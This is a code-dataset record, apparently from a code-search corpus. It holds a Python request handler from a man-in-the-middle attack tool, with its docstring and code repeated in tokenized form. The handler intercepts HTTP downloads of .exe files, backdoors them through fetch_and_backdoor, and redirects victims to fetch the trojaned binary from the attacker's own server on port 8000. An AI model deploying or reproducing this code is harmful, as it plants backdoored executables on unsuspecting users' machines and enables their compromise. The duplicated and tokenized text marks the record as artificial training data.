(self, msg)
Handle the HTTP requests.  There are a couple states
            we need to check for: whether we're pretargeting, whether
            we're targeting specific binaries, and the rest.
Handle the HTTP requests.  There are a couple states
            we need to check for: whether we're pretargeting, whether
            we're targeting specific binaries, and the rest.
Handle the HTTP requests . There are a couple states we need to check for : whether we re pretargeting whether we re targeting specific binaries and the rest .
def handle_request(self, msg):
        """ Handle the HTTP requests.  There are a couple states
            we need to check for: whether we're pretargeting, whether
            we're targeting specific binaries, and the rest.
        """
        fail = False
        tmp = msg.get_url(hostheader=True)
        if tmp[-3:] == 'exe':
            bd_filename = tmp.split('/')[-1]
            # check if we're using a regex
            if self._config['match'].value is not None:
                match = re.search(self._config['match'].value, bd_filename)
                if match:
                    # we have a match
                    if not self.fetch_and_backdoor(tmp):
                        util.Error('Failed to download/backdoor %s' % bd_filename)
                        fail = True
                else:
                    fail = True

            else:
                # check if we've already backdoored this
                if not self._config['pretarget'].value is None:
                    if not tmp in self._config['pretarget'].value:
                        # we haven't, perform the backdooring
                        if not self.fetch_and_backdoor(tmp):
                            util.Error('Failed to download/backdoor %s' % bd_filename)
                            fail = True
                else:
                    if not self.fetch_and_backdoor(tmp):
                        util.Error('Failed to download/backdoor %s' % bd_filename)
                        fail = True

            if not fail:
                msg.set_url('http://%s:8000/%s' % (config.get('ip_addr'), bd_filename))
                msg.port = 8000
                msg.headers['Host'] = ['%s' % config.get('ip_addr')]
        msg.reply()
def handle_request ( self , msg ) : fail = False tmp = msg . get_url ( hostheader = True ) if tmp [ - 3 : ] == 'exe' : bd_filename = tmp . split ( '/' ) [ - 1 ] # check if we're using a regex if self . _config [ 'match' ] . value is not None : match = re . search ( self . _config [ 'match' ] . value , bd_filename ) if match : # we have a match if not self . fetch_and_backdoor ( tmp ) : util . Error ( 'Failed to download/backdoor %s' % bd_filename ) fail = True else : fail = True else : # check if we've already backdoored this if not self . _config [ 'pretarget' ] . value is None : if not tmp in self . _config [ 'pretarget' ] . value : # we haven't, perform the backdooring if not self . fetch_and_backdoor ( tmp ) : util . Error ( 'Failed to download/backdoor %s' % bd_filename ) fail = True else : if not self . fetch_and_backdoor ( tmp ) : util . Error ( 'Failed to download/backdoor %s' % bd_filename ) fail = True if not fail : msg . set_url ( 'http://%s:8000/%s' % ( config . get ( 'ip_addr' ) , bd_filename ) ) msg . port = 8000 msg . headers [ 'Host' ] = [ '%s' % config . get ( 'ip_addr' ) ] msg . reply ( )